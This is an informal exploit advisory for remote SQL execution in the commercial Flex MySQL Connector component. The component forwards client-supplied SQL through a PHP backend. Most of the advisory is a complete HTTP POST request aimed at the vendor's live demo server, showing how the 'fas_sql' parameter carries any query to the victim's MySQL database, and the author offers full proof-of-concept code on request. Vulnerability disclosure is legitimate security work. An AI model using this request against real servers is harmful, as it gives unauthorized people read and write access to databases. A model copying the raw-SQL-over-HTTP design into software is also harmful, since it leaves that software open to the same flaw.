$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$	Flex MySQL Connector Remote SQL Execution Exploit 					$$$
$$$												$$$
$$$				|| License:	Commercial					$$$
$$$				|| Language:	English						$$$
$$$	Flex MySQL Connector	|| Cost:	$45.00						$$$
$$$				|| Platform:	Flash Player 9 | Flash Player 10		$$$
$$$				|| Demo:	http://flexappsstore.com/flexapps/demo/mysql/	$$$
$$$												$$$
$$$				|| Name: 	~Fyodor (aka DungPQ)				$$$
$$$	Credit			|| Email:	quangdung181188[at]gmail.com			$$$
$$$				|| Location:	Hanoi, Vietnam					$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

[$] Vulnz Description :
Flex MySQL Connector is a Flex Component from FlexAppsStore, which allow run SQL from ActionScript via PHP backend (Flash <=> PHP <=> MySQL). But anybody can modify the SQL command in Request packet and send to PHP backend, it means anybody can query SQL commands to victim's MySQL server => OMG !

[$] Exploitz :
Send Example SQL command to MySQL at http://flexappsstore.com/flexapps/demo/mysql/
-----------------------------------------------------------------------------------
> Dest.IP = 66.147.242.177
> Dest.PORT = 80
---[Request BOF]---
POST /flexapps/flexmysqlconn.php?irand=0.2112374654971063 HTTP/1.1
User-Agent: Opera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.10
Host: www.flexappsstore.com
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en-US,en;q=0.9
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://flexappsstore.com/flexapps/demo/mysql/index.swf
Connection: Keep-Alive, TE
TE: deflate, gzip, chunked, identity, trailers
Content-Length: 89
Content-type: application/x-www-form-urlencoded

fas%5Fdb=flexapps%5Fdemxo&fas%5Fsql=SELECT%20count%28%2A%29%20as%20cnt1%20FROM%20tbl%5Fbigbig
---[Request EOF]---

(Oh yeah, SQL command is SELECT%20count%28%2A%29%20as%20cnt1%20FROM%20tbl%5Fbigbig => SELECT count(*) as cnt1 FROM tbl_bigbig)

[$] PS: I don't give full PoC sourcecode. You can make your PoC by PHP (using fsockopen(), cUrl, ...) but if you want, contact me. ^_^
[$] ~Fyodor - The Still Lake